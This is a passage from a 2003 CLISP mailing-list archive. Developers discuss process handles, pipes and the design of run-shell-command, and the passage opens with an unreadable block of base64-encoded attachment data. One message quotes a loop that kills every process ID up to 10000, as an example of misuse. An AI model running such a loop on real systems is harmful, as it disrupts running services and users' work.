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 EKBq From ampy@ich.dvo.ru Wed Jun 04 15:26:39 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NghW-0008LC-00 for ; Wed, 04 Jun 2003 15:25:47 -0700 Received: from ppp20-AS-1.vtc.ru (ppp20-AS-1.vtc.ru [212.16.216.20]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h54MP35C017297 for ; Thu, 5 Jun 2003 09:25:08 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <434162114.20030605093108@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 15:27:09 2003 X-Original-Date: Thu, 5 Jun 2003 09:31:08 +1000 Hello Sam, Thursday, June 05, 2003, 2:31:47 AM, you wrote: > Arseny, could you please add a function EXT:WAIT > of course we will need to accomodate the differences between woe32 and > unix. Give me a handle and I... I believe we need a lisp type 'process' being returned from LAUNCH and also WAIT, KILL, EXITCODE, whatever for it. But I have never created lisp types from scratch. As about run-program/run-shell-command: is the ability of creating pipe-streams so critical ? How widely it is used ? It's break all the simplicity of the function interface. -- Best regards, Arseny From lisp-clisp-list@m.gmane.org Wed Jun 04 15:44:57 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Nh03-0008ET-00 for ; Wed, 04 Jun 2003 15:44:55 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19Ngx1-0000OA-00 for ; Thu, 05 Jun 2003 00:41:47 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19Ngvx-0000Kl-00 for ; Thu, 05 Jun 2003 00:40:41 +0200 From: Sam Steingold Organization: disorganization Lines: 32 Message-ID: References: <434162114.20030605093108@ich.dvo.ru> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 15:45:24 2003 X-Original-Date: 04 Jun 2003 18:43:02 -0400 Hello Arseny, > * In message <434162114.20030605093108@ich.dvo.ru> > * On the subject of "Re[4]: Separate Unix error stream keyword for ext:run-shell-command" > * Sent on Thu, 5 Jun 2003 09:31:08 +1000 > * Honorable Arseny Slobodjuck writes: > > Thursday, June 05, 2003, 2:31:47 AM, you wrote: > > > Arseny, could you please add a function EXT:WAIT > > > of course we will need to accomodate the differences between woe32 and > > unix. > > Give me a handle and I... I believe we need a lisp type 'process' > being returned from LAUNCH and also WAIT, KILL, EXITCODE, whatever for > it. But I have never created lisp types from scratch. why isn't process handle / PID enough? > As about run-program/run-shell-command: is the ability of creating > pipe-streams so critical ? How widely it is used ? It's break all the > simplicity of the function interface. pipes are absolutely crucial. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux A man paints with his brains and not with his hands. From kaz@footprints.net Wed Jun 04 15:54:03 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Nh8O-0004ME-00 for ; Wed, 04 Jun 2003 15:53:32 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 19Nh7r-0001j1-00; Wed, 04 Jun 2003 15:52:59 -0700 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Separate Unix error stream keyword for ext:run-shell-command Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 15:55:12 2003 X-Original-Date: Wed, 4 Jun 2003 15:52:59 -0700 (PDT) On 4 Jun 2003, Sam Steingold wrote: > Hello Arseny, > > > As about run-program/run-shell-command: is the ability of creating > > pipe-streams so critical ? How widely it is used ? It's break all the > > simplicity of the function interface. > > pipes are absolutely crucial. Without pipes, you can't do any Unix systems programming with CLISP; the kind of stuff that is done with awk, perl, etc. Pipes are used Meta-CVS, for instance, to read the output of ``cvs log'' on a file, which contains all kinds of useful information that can be parsed out. The ``mcvs merge'' command critically depends on this; it reads the list of tags to figure out what has been merged last and how to tag the module to delimit the present merge. From ampy@ich.dvo.ru Wed Jun 04 16:47:58 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Nhyk-0000im-00 for ; Wed, 04 Jun 2003 16:47:38 -0700 Received: from ppp49-AS-1.vtc.ru (ppp49-AS-1.vtc.ru [212.16.216.49]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h54NlPjG029772 for ; Thu, 5 Jun 2003 10:47:26 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1939103870.20030605105329@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command In-reply-To: References: <434162114.20030605093108@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 16:48:09 2003 X-Original-Date: Thu, 5 Jun 2003 10:53:29 +1000 Hello Sam, Thursday, June 05, 2003, 8:43:02 AM, you wrote: >> > Arseny, could you please add a function EXT:WAIT >> > of course we will need to accomodate the differences between woe32 and >> > unix. >> Give me a handle and I... I believe we need a lisp type 'process' >> being returned from LAUNCH and also WAIT, KILL, EXITCODE, whatever for >> it. But I have never created lisp types from scratch. > why isn't process handle / PID enough? You mean passing (uint)HANDLE as fixnum to lisp ? Not abstract enough to my taste... No typecheck... Not extendable. No guarantee we will not want to store additional info some day. Users would do (loop for i from 0 to 10000 do (kill i)). Possibly I don't realize the overhead of a new type. Is it too big ? >> As about run-program/run-shell-command: is the ability of creating >> pipe-streams so critical ? How widely it is used ? It's break all the >> simplicity of the function interface. > pipes are absolutely crucial. Why not to extend make-pipe-*-stream instead (trying to keep the code reused) ? Another way I like even more - to make unopened make-pipe-*-stream and pass it as stream to launch - how do you like it ? -- Best regards, Arseny From sds@gnu.org Wed Jun 04 18:02:04 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Nj8m-0004HL-00 for ; Wed, 04 Jun 2003 18:02:04 -0700 Received: from loiso.podval.org ([141.149.176.45]) by out005.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030605010154.ZULO20032.out005.verizon.net@loiso.podval.org>; Wed, 4 Jun 2003 20:01:54 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h5511o1g027452; Wed, 4 Jun 2003 21:01:50 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h5511mqI027448; Wed, 4 Jun 2003 21:01:48 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command References: <434162114.20030605093108@ich.dvo.ru> <1939103870.20030605105329@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1939103870.20030605105329@ich.dvo.ru> Message-ID: Lines: 72 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [141.149.176.45] at Wed, 4 Jun 2003 20:01:51 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 18:03:02 2003 X-Original-Date: 04 Jun 2003 21:01:48 -0400 > * In message <1939103870.20030605105329@ich.dvo.ru> > * On the subject of "Re: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command" > * Sent on Thu, 5 Jun 2003 10:53:29 +1000 > * Honorable Arseny Slobodjuck writes: > > Thursday, June 05, 2003, 8:43:02 AM, you wrote: > > >> > Arseny, could you please add a function EXT:WAIT > >> > of course we will need to accomodate the differences between woe32 and > >> > unix. > >> Give me a handle and I... I believe we need a lisp type 'process' > >> being returned from LAUNCH and also WAIT, KILL, EXITCODE, whatever for > >> it. But I have never created lisp types from scratch. > > why isn't process handle / PID enough? > You mean passing (uint)HANDLE as fixnum to lisp ? > Not abstract enough to my taste... No typecheck... Not extendable. yeah... > No guarantee we will not want to store additional info some day. like what? a process is a just a process ID. all other information can be accessed via a system call. > Users would do (loop for i from 0 to 10000 do (kill i)). why not? :-) they will be able to write /etc/rc.d/* in CLISP! if you are worried about "safety and security", then don't run CLISP as root. > Possibly I don't realize the overhead of a new type. Is it too big ? you need to add a bunch of objects in constobj.d, modify io.d, predtype.d, and a zillion other places. If we do decide to add such a new type, we should have a generic OS-HANDLE type which will point to an FD or PID or whatever else. > >> As about run-program/run-shell-command: is the ability of 